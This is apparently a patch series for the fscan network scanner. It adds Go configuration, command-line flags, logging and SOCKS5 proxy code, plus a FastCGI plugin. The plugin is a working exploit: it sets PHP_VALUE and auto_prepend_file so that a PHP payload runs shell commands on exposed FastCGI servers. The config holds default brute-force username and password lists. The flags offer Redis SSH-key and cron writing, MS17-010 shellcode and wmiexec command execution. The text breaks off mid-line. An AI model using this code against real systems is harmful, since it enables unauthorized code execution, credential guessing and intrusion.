"80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880", + "all": "1-65535", + "main": "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017", +} +var Outputfile = "result.txt" +var IsSave = true +var Webport = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880" +var DefaultPorts = "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017" + +type PocInfo struct { + Target string + PocName string +} + +var ( + Ports string + Path string + Scantype string + Command string + SshKey string + Domain string + Username string + Password string + Proxy string + Timeout int64 = 3 + WebTimeout int64 = 5 + TmpSave bool + NoPing bool + Ping bool + Pocinfo PocInfo + NoPoc bool + IsBrute bool + RedisFile string + RedisShell string + Userfile string + Passfile string + Hashfile string + HostFile string + PortFile string + PocPath string + Threads int + URL string + UrlFile string + Urls []string + NoPorts string + NoHosts string + SC string + PortAdd string + UserAdd string + PassAdd string + BruteThread int + LiveTop int + Socks5Proxy string + Hash string + Hashs []string + HashBytes [][]byte + HostPort []string + IsWmi bool + Noredistest bool +) + +var ( + UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36" + Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" + DnsLog bool + PocNum int + PocFull bool + CeyeDomain string + ApiKey string + Cookie string +) diff --git a/Common/Flag.go b/Common/Flag.go new file mode 100644 index 0000000..bdbf244 --- /dev/null +++ b/Common/Flag.go @@ -0,0 +1,94 @@ +package Common + +import ( + "flag" + "github.com/shadow1ng/fscan/Config" +) + +func Banner() { + banner := ` + ___ _ + / _ \ ___ ___ _ __ __ _ ___| | __ + / /_\/____/ __|/ __| '__/ _` + "`" + ` |/ __| |/ / +/ /_\\_____\__ \ (__| | | (_| | (__| < +\____/ |___/\___|_| \__,_|\___|_|\_\ + fscan version: ` + version + ` +` + print(banner) +} + +func Flag(Info *Config.HostInfo) { + Banner() + + // 目标配置 + flag.StringVar(&Info.Host, "h", "", "目标主机IP,例如: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12") + flag.StringVar(&NoHosts, "hn", "", "排除的主机范围,例如: -hn 192.168.1.1/24") + flag.StringVar(&Ports, "p", DefaultPorts, "端口配置,例如: 22 | 1-65535 | 22,80,3306") + flag.StringVar(&PortAdd, "pa", "", "在默认端口基础上添加端口,-pa 3389") + flag.StringVar(&NoPorts, "pn", "", "排除的端口,例如: -pn 445") + + // 认证配置 + flag.StringVar(&UserAdd, "usera", "", "在默认用户列表基础上添加用户,-usera user") + flag.StringVar(&PassAdd, "pwda", "", "在默认密码列表基础上添加密码,-pwda password") + flag.StringVar(&Username, "user", "", "用户名") + flag.StringVar(&Password, "pwd", "", "密码") + flag.StringVar(&Domain, "domain", "", "域名(用于SMB)") + flag.StringVar(&SshKey, "sshkey", "", "SSH密钥文件(id_rsa)") + + // 扫描配置 + flag.StringVar(&Scantype, "m", "all", "扫描类型,例如: -m ssh") + flag.IntVar(&Threads, "t", 600, "线程数量") + flag.Int64Var(&Timeout, "time", 3, "超时时间(秒)") + flag.IntVar(&LiveTop, "top", 10, "显示存活主机数量") + flag.BoolVar(&NoPing, "np", false, "禁用存活探测") + flag.BoolVar(&Ping, "ping", false, "使用ping替代ICMP") + flag.StringVar(&Command, "c", "", "执行命令(支持ssh|wmiexec)") + + // 文件配置 + flag.StringVar(&HostFile, "hf", "", "主机列表文件") + flag.StringVar(&Userfile, "userf", "", "用户名字典") + flag.StringVar(&Passfile, "pwdf", "", "密码字典") + flag.StringVar(&Hashfile, "hashf", "", "Hash字典") + flag.StringVar(&PortFile, "portf", "", "端口列表文件") + + // Web配置 + flag.StringVar(&URL, "u", "", "目标URL") + flag.StringVar(&UrlFile, "uf", "", "URL列表文件") + flag.StringVar(&Cookie, "cookie", "", "设置Cookie") + flag.Int64Var(&WebTimeout, "wt", 5, "Web请求超时时间") + flag.StringVar(&Proxy, "proxy", "", "设置HTTP代理") + flag.StringVar(&Socks5Proxy, "socks5", "", "设置Socks5代理(将用于TCP连接,超时设置将失效)") + + // POC配置 + flag.StringVar(&PocPath, "pocpath", "", "POC文件路径") + flag.StringVar(&Pocinfo.PocName, "pocname", "", "使用包含指定名称的POC,例如: -pocname weblogic") + flag.BoolVar(&NoPoc, "nopoc", false, "禁用Web漏洞扫描") + flag.BoolVar(&PocFull, "full", false, "完整POC扫描,如:shiro 100个key") + flag.BoolVar(&DnsLog, "dns", false, "启用dnslog验证") + flag.IntVar(&PocNum, "num", 20, "POC并发数") + + // Redis利用配置 + flag.StringVar(&RedisFile, "rf", "", "Redis写入SSH公钥文件") + flag.StringVar(&RedisShell, "rs", "", "Redis写入计划任务") + flag.BoolVar(&Noredistest, "noredis", false, "禁用Redis安全检测") + + // 暴力破解配置 + flag.BoolVar(&IsBrute, "nobr", false, "禁用密码爆破") + flag.IntVar(&BruteThread, "br", 1, "密码爆破线程数") + + // 其他配置 + flag.StringVar(&Path, "path", "", "FCG/SMB远程文件路径") + flag.StringVar(&Hash, "hash", "", "Hash值") + flag.StringVar(&SC, "sc", "", "MS17漏洞shellcode") + flag.BoolVar(&IsWmi, "wmi", false, "启用WMI") + + // 输出配置 + flag.StringVar(&Outputfile, "o", "result.txt", "结果输出文件") + flag.BoolVar(&TmpSave, "no", false, "禁用结果保存") + flag.BoolVar(&Silent, "silent", false, "静默扫描模式") + flag.BoolVar(&Nocolor, "nocolor", false, "禁用彩色输出") + flag.BoolVar(&JsonOutput, "json", false, "JSON格式输出") + flag.Int64Var(&WaitTime, "debug", 60, "错误日志输出间隔") + + flag.Parse() +} diff --git a/Common/Log.go b/Common/Log.go new file mode 100644 index 0000000..5669298 --- /dev/null +++ b/Common/Log.go @@ -0,0 +1,172 @@ +package Common + +import ( + "encoding/json" + "fmt" + "github.com/fatih/color" + "io" + "log" + "os" + "strings" + "sync" + "time" +) + +// 记录扫描状态的全局变量 +var ( + Num int64 // 总任务数 + End int64 // 已完成数 + Results = make(chan *string) // 结果通道 + LogSucTime int64 // 最近成功日志时间 + LogErrTime int64 // 最近错误日志时间 + WaitTime int64 // 等待时间 + Silent bool // 静默模式 + Nocolor bool // 禁用颜色 + JsonOutput bool // JSON输出 + LogWG sync.WaitGroup // 日志同步等待组 +) + +// JsonText JSON输出的结构体 +type JsonText struct { + Type string `json:"type"` // 消息类型 + Text string `json:"text"` // 消息内容 +} + +// init 初始化日志配置 +func init() { + log.SetOutput(io.Discard) + LogSucTime = time.Now().Unix() + go SaveLog() +} + +// LogSuccess 记录成功信息 +func LogSuccess(result string) { + LogWG.Add(1) + LogSucTime = time.Now().Unix() + Results <- &result +} + +// SaveLog 保存日志信息 +func SaveLog() { + for result := range Results { + // 打印日志 + if !Silent { + if Nocolor { + fmt.Println(*result) + } else { + switch { + case strings.HasPrefix(*result, "[+] 信息扫描"): + color.Green(*result) + case strings.HasPrefix(*result, "[+]"): + color.Red(*result) + default: + fmt.Println(*result) + } + } + } + + // 保存到文件 + if IsSave { + WriteFile(*result, Outputfile) + } + LogWG.Done() + } +} + +// WriteFile 写入文件 +func WriteFile(result string, filename string) { + // 打开文件 + fl, err := os.OpenFile(filename, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666) + if err != nil { + fmt.Printf("[!] 打开文件失败 %s: %v\n", filename, err) + return + } + defer fl.Close() + + if JsonOutput { + // 解析JSON格式 + var scantype, text string + if strings.HasPrefix(result, "[+]") || strings.HasPrefix(result, "[*]") || strings.HasPrefix(result, "[-]") { + index := strings.Index(result[4:], " ") + if index == -1 { + scantype = "msg" + text = result[4:] + } else { + scantype = result[4 : 4+index] + text = result[4+index+1:] + } + } else { + scantype = "msg" + text = result + } + + // 构造JSON对象 + jsonText := JsonText{ + Type: scantype, + Text: text, + } + + // 序列化JSON + jsonData, err := json.Marshal(jsonText) + if err != nil { + fmt.Printf("[!] JSON序列化失败: %v\n", err) + jsonText = JsonText{ + Type: "msg", + Text: result, + } + jsonData, _ = json.Marshal(jsonText) + } + jsonData = append(jsonData, []byte(",\n")...) + _, err = fl.Write(jsonData) + } else { + _, err = fl.Write([]byte(result + "\n")) + } + + if err != nil { + fmt.Printf("[!] 写入文件失败 %s: %v\n", filename, err) + } +} + +// LogError 记录错误信息 +func LogError(errinfo interface{}) { + if WaitTime == 0 { + fmt.Printf("[*] 已完成 %v/%v %v\n", End, Num, errinfo) + } else if (time.Now().Unix()-LogSucTime) > WaitTime && (time.Now().Unix()-LogErrTime) > WaitTime { + fmt.Printf("[*] 已完成 %v/%v %v\n", End, Num, errinfo) + LogErrTime = time.Now().Unix() + } +} + +// CheckErrs 检查是否为已知错误 +func CheckErrs(err error) bool { + if err == nil { + return false + } + + // 已知错误列表 + errs := []string{ + "远程主机关闭连接", + "连接数过多", + "连接超时", + "EOF", + "连接尝试失败", + "建立连接失败", + "无法连接", + "无法读取数据", + "不允许连接", + "无pg_hba.conf配置项", + "无法建立连接", + "无效的数据包大小", + "连接异常", + } + + // 检查错误是否匹配 + errLower := strings.ToLower(err.Error()) + for _, key := range errs { + if strings.Contains(errLower, strings.ToLower(key)) { + return true + } + } + + return false +} diff --git a/Common/Proxy.go b/Common/Proxy.go new file mode 100644 index 0000000..f8af40e --- /dev/null +++ b/Common/Proxy.go @@ -0,0 +1,78 @@ +package Common + +import ( + "errors" + "fmt" + "golang.org/x/net/proxy" + "net" + "net/url" + "strings" + "time" +) + +// WrapperTcpWithTimeout 创建一个带超时的TCP连接 +func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) { + d := &net.Dialer{Timeout: timeout} + return WrapperTCP(network, address, d) +} + +// WrapperTCP 根据配置创建TCP连接 +func WrapperTCP(network, address string, forward *net.Dialer) (net.Conn, error) { + // 直连模式 + if Socks5Proxy == "" { + conn, err := forward.Dial(network, address) + if err != nil { + return nil, fmt.Errorf("建立TCP连接失败: %v", err) + } + return conn, nil + } + + // Socks5代理模式 + dialer, err := Socks5Dialer(forward) + if err != nil { + return nil, fmt.Errorf("创建Socks5代理失败: %v", err) + } + + conn, err := dialer.Dial(network, address) + if err != nil { + return nil, fmt.Errorf("通过Socks5建立连接失败: %v", err) + } + + return conn, nil +} + +// Socks5Dialer 创建Socks5代理拨号器 +func Socks5Dialer(forward *net.Dialer) (proxy.Dialer, error) { + // 解析代理URL + u, err := url.Parse(Socks5Proxy) + if err != nil { + return nil, fmt.Errorf("解析Socks5代理地址失败: %v", err) + } + + // 验证代理类型 + if strings.ToLower(u.Scheme) != "socks5" { + return nil, errors.New("仅支持socks5代理") + } + + address := u.Host + var dialer proxy.Dialer + + // 根据认证信息创建代理 + if u.User.String() != "" { + // 使用用户名密码认证 + auth := proxy.Auth{ + User: u.User.Username(), + } + auth.Password, _ = u.User.Password() + dialer, err = proxy.SOCKS5("tcp", address, &auth, forward) + } else { + // 无认证模式 + dialer, err = proxy.SOCKS5("tcp", address, nil, forward) + } + + if err != nil { + return nil, fmt.Errorf("创建Socks5代理失败: %v", err) + } + + return dialer, nil +} diff --git a/Plugins/FcgiScan.go b/Plugins/FcgiScan.go new file mode 100644 index 0000000..ba7b696 --- /dev/null +++ b/Plugins/FcgiScan.go @@ -0,0 +1,376 @@ +package Plugins + +import ( + "bufio" + "bytes" + "encoding/binary" + "errors" + "fmt" + "github.com/shadow1ng/fscan/Common" + "github.com/shadow1ng/fscan/Config" + "io" + "strconv" + "strings" + "sync" + "time" +) + +//links +//https://xz.aliyun.com/t/9544 +//https://github.com/wofeiwo/webcgi-exploits + +// FcgiScan 执行FastCGI服务器漏洞扫描 +func FcgiScan(info *Config.HostInfo) error { + // 如果设置了暴力破解模式则跳过 + if Common.IsBrute { + return nil + } + + // 设置目标URL路径 + url := "/etc/issue" + if Common.Path != "" { + url = Common.Path + } + addr := fmt.Sprintf("%v:%v", info.Host, info.Ports) + + // 构造PHP命令注入代码 + var reqParams string + var cutLine = "-----ASDGTasdkk361363s-----\n" // 用于分割命令输出的标记 + + switch { + case Common.Command == "read": + reqParams = "" // 读取模式 + case Common.Command != "": + reqParams = fmt.Sprintf("", Common.Command, cutLine) // 自定义命令 + default: + reqParams = fmt.Sprintf("", cutLine) // 默认执行whoami + } + + // 设置FastCGI环境变量 + env := map[string]string{ + "SCRIPT_FILENAME": url, + "DOCUMENT_ROOT": "/", + "SERVER_SOFTWARE": "go / fcgiclient ", + "REMOTE_ADDR": "127.0.0.1", + "SERVER_PROTOCOL": "HTTP/1.1", + } + + // 根据请求类型设置对应的环境变量 + if len(reqParams) != 0 { + env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams)) + env["REQUEST_METHOD"] = "POST" + env["PHP_VALUE"] = "allow_url_include = On\ndisable_functions = \nauto_prepend_file = php://input" + } else { + env["REQUEST_METHOD"] = "GET" + } + + // 建立FastCGI连接 + fcgi, err := New(addr, Common.Timeout) + defer func() { + if fcgi.rwc != nil { + fcgi.rwc.Close() + } + }() + if err != nil { + fmt.Printf("[!] FastCGI连接失败 %v:%v - %v\n", info.Host, info.Ports, err) + return err + } + + // 发送FastCGI请求 + stdout, stderr, err := fcgi.Request(env, reqParams) + if err != nil { + fmt.Printf("[!] FastCGI请求失败 %v:%v - %v\n", info.Host, info.Ports, err) + return err + } + + // 处理响应结果 + output := string(stdout) + var result string + + if strings.Contains(output, cutLine) { + // 命令执行成功,提取输出结果 + output = strings.SplitN(output, cutLine, 2)[0] + if len(stderr) > 0 { + result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php", + info.Host, info.Ports, output, string(stderr)) + } else { + result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v", + info.Host, info.Ports, output) + } + Common.LogSuccess(result) + } else if strings.Contains(output, "File not found") || + strings.Contains(output, "Content-type") || + strings.Contains(output, "Status") { + // 目标存在FastCGI服务但可能路径错误 + if len(stderr) > 0 { + result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php", + info.Host, info.Ports, output, string(stderr)) + } else { + result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v", + info.Host, info.Ports, output) + } + Common.LogSuccess(result) + } + + return nil +} + +// for padding so we don't have to allocate all the time +// not synchronized because we don't care what the contents are +var pad [maxPad]byte + +const ( + FCGI_BEGIN_REQUEST uint8 = iota + 1 + FCGI_ABORT_REQUEST + FCGI_END_REQUEST + FCGI_PARAMS + FCGI_STDIN + FCGI_STDOUT + FCGI_STDERR +) + +const ( + FCGI_RESPONDER uint8 = iota + 1 +) + +const ( + maxWrite = 6553500 // maximum record body + maxPad = 255 +) + +type header struct { + Version uint8 + Type uint8 + Id uint16 + ContentLength uint16 + PaddingLength uint8 + Reserved uint8 +} + +func (h *header) init(recType uint8, reqId uint16, contentLength int) { + h.Version = 1 + h.Type = recType + h.Id = reqId + h.ContentLength = uint16(contentLength) + h.PaddingLength = uint8(-contentLength & 7) +} + +type record struct { + h header + buf [maxWrite + maxPad]byte +} + +func (rec *record) read(r io.Reader) (err error) { + if err = binary.Read(r, binary.BigEndian, &rec.h); err != nil { + return err + } + if rec.h.Version != 1 { + return errors.New("fcgi: invalid header version") + } + n := int(rec.h.ContentLength) + int(rec.h.PaddingLength) + if _, err = io.ReadFull(r, rec.buf[:n]); err != nil { + return err + } + return nil +} + +func (r *record) content() []byte { + return r.buf[:r.h.ContentLength] +} + +type FCGIClient struct { + mutex sync.Mutex + rwc io.ReadWriteCloser + h header + buf bytes.Buffer + keepAlive bool +} + +func New(addr string, timeout int64) (fcgi *FCGIClient, err error) { + conn, err := Common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second) + fcgi = &FCGIClient{ + rwc: conn, + keepAlive: false, + } + return +} + +func (c *FCGIClient) writeRecord(recType uint8, reqId uint16, content []byte) (err error) { + c.mutex.Lock() + defer c.mutex.Unlock() + c.buf.Reset() + c.h.init(recType, reqId, len(content)) + if err := binary.Write(&c.buf, binary.BigEndian, c.h); err != nil { + return err + } + if _, err := c.buf.Write(content); err != nil { + return err + } + if _, err := c.buf.Write(pad[:c.h.PaddingLength]); err != nil { + return err + } + _, err = c.rwc.Write(c.buf.Bytes()) + return err +} + +func (c *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) error { + b := [8]byte{byte(role >> 8), byte(role), flags} + return c.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:]) +} + +func (c *FCGIClient) writeEndRequest(reqId uint16, appStatus int, protocolStatus uint8) error { + b := make([]byte, 8) + binary.BigEndian.PutUint32(b, uint32(appStatus)) + b[4] = protocolStatus + return c.writeRecord(FCGI_END_REQUEST, reqId, b) +} + +func (c *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error { + w := newWriter(c, recType, reqId) + b := make([]byte, 8) + for k, v := range pairs { + n := encodeSize(b, uint32(len(k))) + n += encodeSize(b[n:], uint32(len(v))) + if _, err := w.Write(b[:n]); err != nil { + return err + } + if _, err := w.WriteString(k); err != nil { + return err + } + if _, err := w.WriteString(v); err != nil { + return err + } + } + w.Close() + return nil +} + +func readSize(s []byte) (uint32, int) { + if len(s) == 0 { + return 0, 0 + } + size, n := uint32(s[0]), 1 + if size&(1<<7) != 0 { + if len(s) < 4 { + return 0, 0 + } + n = 4 + size = binary.BigEndian.Uint32(s) + size &^= 1 << 31 + } + return size, n +} + +func readString(s []byte, size uint32) string { + if size > uint32(len(s)) { + return "" + } + return string(s[:size]) +} + +func encodeSize(b []byte, size uint32) int { + if size > 127 { + size |= 1 << 31 + binary.BigEndian.PutUint32(b, size) + return 4 + } + b[0] = byte(size) + return 1 +} + +// bufWriter encapsulates bufio.Writer but also closes the underlying stream when +// Closed. +type bufWriter struct { + closer io.Closer + *bufio.Writer +} + +func (w *bufWriter) Close() error { + if err := w.Writer.Flush(); err != nil { + w.closer.Close() + return err + } + return w.closer.Close() +} + +func newWriter(c *FCGIClient, recType uint8, reqId uint16) *bufWriter { + s := &streamWriter{c: c, recType: recType, reqId: reqId} + w := bufio.NewWriterSize(s, maxWrite) + return &bufWriter{s, w} +} + +// streamWriter abstracts out the separation of a stream into discrete records. +// It only writes maxWrite bytes at a time. +type streamWriter struct { + c *FCGIClient + recType uint8 + reqId uint16 +} + +func (w *streamWriter) Write(p []byte) (int, error) { + nn := 0 + for len(p) > 0 { + n := len(p) + if n > maxWrite { + n = maxWrite + } + if err := w.c.writeRecord(w.recType, w.reqId, p[:n]); err != nil { + return nn, err + } + nn += n + p = p[n:] + } + return nn, nil +} + +func (w *streamWriter) Close() error { + // send empty record to close the stream + return w.c.writeRecord(w.recType, w.reqId, nil) +} + +func (c *FCGIClient) Request(env map[string]string, reqStr string) (retout []byte, reterr []byte, err error) { + + var reqId uint16 = 1 + defer c.rwc.Close() + + err = c.writeBeginRequest(reqId, uint16(FCGI_RESPONDER), 0) + if err != nil { + return + } + err = c.writePairs(FCGI_PARAMS, reqId, env) + if err != nil { + return + } + if len(reqStr) > 0 { + err = c.writeRecord(FCGI_STDIN, reqId, []byte(reqStr)) + if err != nil { + return + } + } + + rec := &record{} + var err1 error + + // recive untill EOF or FCGI_END_REQUEST + for { + err1 = rec.read(c.rwc) + if err1 != nil { + if err1 != io.EOF { + err = err1 + } + break + } + switch { + case rec.h.Type == FCGI_STDOUT: + retout = append(retout, rec.content()...) + case rec.h.Type == FCGI_STDERR: + reterr = append(reterr, rec.content()...) + case rec.h.Type == FCGI_END_REQUEST: + fallthrough + default: + break + } + } + + return +} From 6a84d0cf8aaeab83156d31a13395b35953dd2af3 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 14:54:15 +0800 Subject: [PATCH 044/188] =?UTF-8?q?refacor:=20=E5=A4=A7=E5=B0=8F=E5=86=99?= =?UTF-8?q?=E6=95=8F=E6=84=9F?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- common/config.go | 107 ----------------------------- common/flag.go | 94 -------------------------- common/log.go | 172 ----------------------------------------------- common/proxy.go | 78 --------------------- 4 files changed, 451 deletions(-) delete mode 100644 common/config.go delete mode 100644 common/flag.go delete mode 100644 common/log.go delete mode 100644 common/proxy.go diff --git a/common/config.go b/common/config.go deleted file mode 100644 index 6dd46ae..0000000 --- a/common/config.go +++ /dev/null @@ -1,107 +0,0 @@ -package Common - -var version = "1.8.4" -var Userdict = map[string][]string{ - "ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"}, - "mysql": {"root", "mysql"}, - "mssql": {"sa", "sql"}, - "smb": {"administrator", "admin", "guest"}, - "rdp": {"administrator", "admin", "guest"}, - "postgresql": {"postgres", "admin"}, - "ssh": {"root", "admin"}, - "mongodb": {"root", "admin"}, - "oracle": {"sys", "system", "admin", "test", "web", "orcl"}, -} - -var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789"} - -var PortGroup = map[string]string{ - "ftp": "21", - "ssh": "22", - "findnet": "135", - "netbios": "139", - "smb": "445", - "mssql": "1433", - "oracle": "1521", - "mysql": "3306", - "rdp": "3389", - "psql": "5432", - "redis": "6379", - "fcgi": "9000", - "mem": "11211", - "mgo": "27017", - "ms17010": "445", - "cve20200796": "445", - "service": "21,22,135,139,445,1433,1521,3306,3389,5432,6379,9000,11211,27017", - "db": "1433,1521,3306,5432,6379,11211,27017", - "web": "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880", - "all": "1-65535", - "main": "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017", -} -var Outputfile = "result.txt" -var IsSave = true -var Webport = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880" -var DefaultPorts = "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017" - -type PocInfo struct { - Target string - PocName string -} - -var ( - Ports string - Path string - Scantype string - Command string - SshKey string - Domain string - Username string - Password string - Proxy string - Timeout int64 = 3 - WebTimeout int64 = 5 - TmpSave bool - NoPing bool - Ping bool - Pocinfo PocInfo - NoPoc bool - IsBrute bool - RedisFile string - RedisShell string - Userfile string - Passfile string - Hashfile string - HostFile string - PortFile string - PocPath string - Threads int - URL string - UrlFile string - Urls []string - NoPorts string - NoHosts string - SC string - PortAdd string - UserAdd string - PassAdd string - BruteThread int - LiveTop int - Socks5Proxy string - Hash string - Hashs []string - HashBytes [][]byte - HostPort []string - IsWmi bool - Noredistest bool -) - -var ( - UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36" - Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" - DnsLog bool - PocNum int - PocFull bool - CeyeDomain string - ApiKey string - Cookie string -) diff --git a/common/flag.go b/common/flag.go deleted file mode 100644 index bdbf244..0000000 --- a/common/flag.go +++ /dev/null @@ -1,94 +0,0 @@ -package Common - -import ( - "flag" - "github.com/shadow1ng/fscan/Config" -) - -func Banner() { - banner := ` - ___ _ - / _ \ ___ ___ _ __ __ _ ___| | __ - / /_\/____/ __|/ __| '__/ _` + "`" + ` |/ __| |/ / -/ /_\\_____\__ \ (__| | | (_| | (__| < -\____/ |___/\___|_| \__,_|\___|_|\_\ - fscan version: ` + version + ` -` - print(banner) -} - -func Flag(Info *Config.HostInfo) { - Banner() - - // 目标配置 - flag.StringVar(&Info.Host, "h", "", "目标主机IP,例如: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12") - flag.StringVar(&NoHosts, "hn", "", "排除的主机范围,例如: -hn 192.168.1.1/24") - flag.StringVar(&Ports, "p", DefaultPorts, "端口配置,例如: 22 | 1-65535 | 22,80,3306") - flag.StringVar(&PortAdd, "pa", "", "在默认端口基础上添加端口,-pa 3389") - flag.StringVar(&NoPorts, "pn", "", "排除的端口,例如: -pn 445") - - // 认证配置 - flag.StringVar(&UserAdd, "usera", "", "在默认用户列表基础上添加用户,-usera 